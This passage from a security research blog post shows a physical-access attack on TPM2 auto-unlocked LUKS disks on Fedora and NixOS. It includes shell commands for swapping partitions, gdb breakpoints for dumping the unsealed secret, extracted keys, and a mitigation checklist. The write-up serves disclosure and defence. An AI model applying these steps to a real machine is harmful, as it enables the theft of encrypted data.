0000030 6411 6454 866a d81e 88ff 8dbf b70b 9eef
0000040
At this point we only have to restore the partition to its original state and decrypt the real partition. We can either reboot into a live system (possible if the Microsoft keys are still in the secure boot database) or put the disk back into a system we control. Finally, we can mount the encrypted disk to have a look inside:
[root@localhost]# dd if=/mnt/luks-original.bak of=/dev/nvme0n1p3 bs=64M count=1
[root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original \
--key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
[root@localhost]# mount /dev/mapper/original /mnt
[root@localhost]# cat /mnt/etc/os-release
NAME="Fedora Linux"
VERSION="41 (Server Edition)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=41
VERSION_CODENAME=""
PLATFORM_ID="platform:f41"
PRETTY_NAME="Fedora Linux 41 (Server Edition)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:41"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f41/system-administrators-guide/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=41
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=41
SUPPORT_END=2025-05-13
VARIANT="Server Edition"
VARIANT_ID=server
Success! Apart from researching all of the tools and their internals this has been a rather simple process. I would even claim that with some preparation we can repeat this reliably in under 10 minutes. All it takes is two disk swaps and a few reboots.
Finally I can rest easy knowing that my roommate can make a surprise backup of my server's data while I'm away 🎉. A solid 3-2-1(+1) strategy.
🔗 Proof-of-concept exploitation of a NixOS machine
This will be very similar to the previous PoC, so I skipped a lot of the boilerplate this time. If you are not specifically interested in NixOS or systemd-cryptenroll, you can jump to the next section by clicking here.
Secure boot on NixOS is currently implemented by the awesome
lanzaboote
project, which does some things differently than what we just saw
on Fedora. Most notably we will enroll our own secure boot keys
(and can wipe the microsoft keys), our kernel and initrd will both
be fully signed as a UKI image and systemd-boot will not allow you
to edit the command line. Another small difference to the Fedora
setup is that we will use systemd-cryptenroll
instead
of clevis
.
In any case, the overall exploitation will be very similar, the NixOS initrd also doesn't verify LUKS identities (as of January 2025).
🔗 System setup
Fortunately, the setup is extremely simple with lanzaboote. I recommend having a look at their Quick Start Guide in case you don't know the project already. I've added the full configuration of the test machine here, in case you want to replicate this. The final setup steps were:
# Clear secure boot keys, start nixos live image, copy flake to live image, then:
[root@nixos]# alias nix='nix --experimental-features "nix-command flakes"'
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript
/nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel
/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
# Format and install:
[root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko # Format disk(s)
[root@nixos]# nixos-install --no-root-password --system \ # Install system
/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
[root@nixos]# nixos-enter --mountpoint /mnt -- sbctl create-keys # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy
# Reboot and enroll LUKS key:
[root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks --tpm2-device=auto --tpm2-pcrs=0+2+4+7
# ... Enter password ...
New TPM2 token enrolled as key slot 1.
🔗 Inspecting the system
This step works in the same was as it did for Fedora, but we will find that the NixOS initrd works a bit differently - it itself is a kind of mini-NixOS. The important information is the following:
- The mount commands for filesystems are in systemd units, which usually use UUIDs, labels or partlables to identify disks. In our case it will be partlabels, so we don't even have to fake any UUIDs.
- Once the initrd decrypts the root partition, it searches for
the toplevel derivation by resolving the
init=/nix/store/<hash>-nixos-system-.../init
path - This toplevel derivation contains a
prepare-root
binary which is the first one that is executed. This is our entry point.
🔗 LUKS partition backup and overwrite
Next, we overwrite the LUKS partition and overwrite it with our
fake. We can reuse the same fake partition with the Alpine image as
on Fedora as it has the advantage of being very small. If the user
has /nix
on a separate partition it may be simpler to
just build a small NixOS system and link the resulting toplevel
derivation to the path expected by the initrd.
Rebooting the original system with the modified disk will now
yield an Alpine root shell. After running tpm2_pcrread
we can verify that we have not changed any PCRs with our
modifications. To understand the differences of
systemd-cryptenroll
over clevis
, let's
continue with some more detail from here:
🔗 Extracting the volume key
Once again we will inspect the LUKS header of our backup, which
I've also copied over to the boot partition for easy access. We see
that systemd-cryptenroll
creates a token in the LUKS
header, similar to clevis
:
[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak
LUKS header information
Version: 2
Epoch: 6
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 5a9d9566-aae2-49b9-abf5-c6f0a887159c
# [...]
Tokens:
0: systemd-tpm2
Keyslot: 1
# [...]
[root@localhost]# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
"type": "systemd-tpm2",
"keyslots": [ "1" ],
"tpm2-blob": "AJ4AIPtjVjiz90zIPEHgRoJVpsix/e1tBRaMkOv0tWEBBKegABC5vMp9mQt81TjlRmtEhca98VfRuXxAoYcB5yjzShhTZhfCzwgXpC7rd5TETxBhvtWbo4BQULmZT29InkqpXRaO/b7DyXqLDQusdAfQO/lQSVxwWjVR576OFJUvAMPN6XEVyH8jDFd+F5FtuaEsYS4t46ThxMWa10ttRwBOAAgACwAABBIAIE8jssxPAKj8Duc+hrtEmIZxQS0Hv3Uptj92Ud33KVpBABAAIDBubaOpjc3KX/Lj0jHbe9plgv9wTIKYsUtFCKOGotRU",
"tpm2-pcrs": [ 0, 2, 4, 7 ],
"tpm2-pcr-bank": "sha256",
"tpm2-policy-hash": "4f23b2cc4f00a8fc0ee73e86bb44988671412d07bf7529b63f7651ddf7295a41",
"tpm2_srk": "gQAAAQAiAAt+KklPEEbTTiWnmjC8TapUFILGmpUxJHOLyhfoPjJpFwAAAAEAWgAjAAsAAwRyAAAABgCAAEMAEAADABAAIB/V/x4OEuiI/TAynXAqG6pJHrJH9GJoEtgjqa+C0AlkACDBNasZylLB/v5PdYsWfJgE/MXZeUi2LMVE/FXfbsyDAw=="
}
The token format is slightly different to that from
clevis
, it just contains all necessarey information on
the toplevel without a roundtrip through JWE. To understand how the
values are supposed to be used, we need to understand what
systemd-cryptenroll
does to unlock the disk. In the
systemd source code we find that the responsible function is called
static int tpm2_unseal(...)
. Instead of tediously
replicating all the unmarshalling logic, we can just call
systemd-cryptsetup
through gdb and dump the decrypted
secret after that function was called:
gdb --args systemd-cryptsetup attach test /mnt/luks-original.img
# [...]
(gdb) break tpm2_unseal
Function "tpm2_unseal" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (tpm2_unseal) pending.
(gdb) run
Breakpoint 1, 0x00007ffff7bb2f90 in tpm2_unseal ()
(gdb) backtrace
#0 0x00007ffff7bb2f90 in tpm2_unseal () from libsystemd-shared-256.so
#1 0x00007ffff721d7e7 in acquire_luks2_key () from libcryptsetup-token-systemd-tpm2.so
#2 0x00007ffff721c60f in cryptsetup_token_open_pin () from libcryptsetup-token-systemd-tpm2.so
#3 0x00007ffff721caf5 in cryptsetup_token_open () from libcryptsetup-token-systemd-tpm2.so
# ...
By investigating the functions shown in the callstack, we see
that right before cryptsetup_token_open_pin()
returns, it base64
encodes the unsealed secret which is later used as the slot 1 LUKS
password. So we just set a breakpoint to the base64 encoding
function and print the secret once it returns (the result pointer
is the third argument, so it will be passed via
rcx
):
(gdb) break base64mem_full
(gdb) continue
(gdb) info registers
# ...
rcx 0x7fffffffc920 140737488341280 # pointer to base64 result
# ...
(gdb) set $a = $rcx # remember where the result will be stored
(gdb) finish
(gdb) printf "%s\n", *(char**)$a
qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=
Let's test this password by dumping the volume key.
[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
--key-file <(echo -n "qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=")
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for copy.img
Cipher name: aes
Cipher mode: xts-plain64
Payload offset: 32768
UUID: 5a9d9566-aae2-49b9-abf5-c6f0a887159c
MK bits: 512
Key stored to file volume-key.txt.
[root@localhost]# cat volume-key.txt | hexdump
0000000 065a cc94 26c0 b0cc 4bcf bf73 e9bb 3c16
0000010 95da 149e 6881 1a5b e7f5 4b59 4bc9 db83
0000020 6008 d237 29a8 9fc7 7a83 dbbf 816e 5ad0
0000030 20fa 03f6 effd 39f5 1f78 8779 c501 35b6
0000040
Nice, we've successfully extracted the volume key again! Finally, we need to restore the original disk header and are then able to decrypt the whole disk. We can either decrypt it by specifying the volume key explicitly, or simply enter the obtained password. Since this is exactly the same as on Fedora, I have not included it here.
🔗 Crude implementation of PCR15 verification
I've looked at all of this together with my friend @PatrickDaG, who has quickly written a NixOS module which you can adapt to add a crude form of PCR 15 verification. Ideally we need something proper upstreamed into nixpkgs, but ensuring the order of decryption is not super simple.
🔗 What now?
It's obviously a pity that the default initrd implementations available on most distributions don't include a verification step out of the box. But there's really nobody to blame here, as none of the distributions advertise automatic TPM unlocking as a secure or even supported configuration, and the guides I've linked to are mostly blog posts from other hobbyists - who may just not have known about this issue.
If you happen to have written about this before, please update your post(s) to make your readers aware of the implications! Thank you!
Unfortunately, I have also not found a simple solution that I can recommend to you right now to actually fix the issue (except for NixOS, see above). Enabling mandatory LUKS key measurement and PCR 15 verification in the initrd is just not something that is easily available as a module or script right now (January 2025), so you'd have to implement it yourself.
From what I learned when researching this, a proper implementation would need to at least:
- Predict the value of PCR 15 value at initrd generation time
- Implicitly sign this value by adding it to the initrd
- Extend PCR 15 at boot time with the volume key of every decrypted LUKS volume, while ensuring in a deterministic decryption order
- Verify PCR 15 against the known and signed value before utilizing any data from one of the the encrypted disks
The easiest way to protect your data right now is to bite the
bullet and add a TPM PIN, for example by using
systemd-cryptenroll --tpm2-with-pin=yes [...]
when
enrolling your key.
🔗 Conclusion
We've successfully carried out a filesystem confusion attack on two completely different systems to extract their secret volume key, and have seen that the majority of articles about TPM2 auto-unlock setups are likely vulnerable to this attack.
We learned that this problem is not easily fixed, as it requires an additional verification step that cannot simply be activated on most distributions at present. It is critical to ensure that there is an unbroken chain of trust from the bootloader to the actual system.
Here is a checklist of things to consider when setting up TPM2 auto-unlock:
- Your kernel and initramfs are both signed and verified (UKI or MOK), or you are using PCR 9 together with a shim that hashes the images at boot time.
- You have enrolled a LUKS key in the TPM2 on at least PCR 7 (+9 if necessary).
- If you are decrypting multiple devices in the initrd, their decryption order is deterministic.
- After decryption - and before any user executable is called - the initramfs verifies the identity of all encrypted disks, preferably by measuring a derivative of the volume key into PCR 15 for each disk.
- Your initrd's emergency shell (if any) is password-protected.
- Your bootloader does not allow you to alter the kernel command line, or you've included a PCR used in the LUKS key enrollment that depends on the kernel command line.
Thank you for taking the time to read this article - I hope you found it both interesting and enjoyable 😊.
If you'd like to send me feedback or just reach out, feel free to contact me on Matrix!
Discussion threads for this post: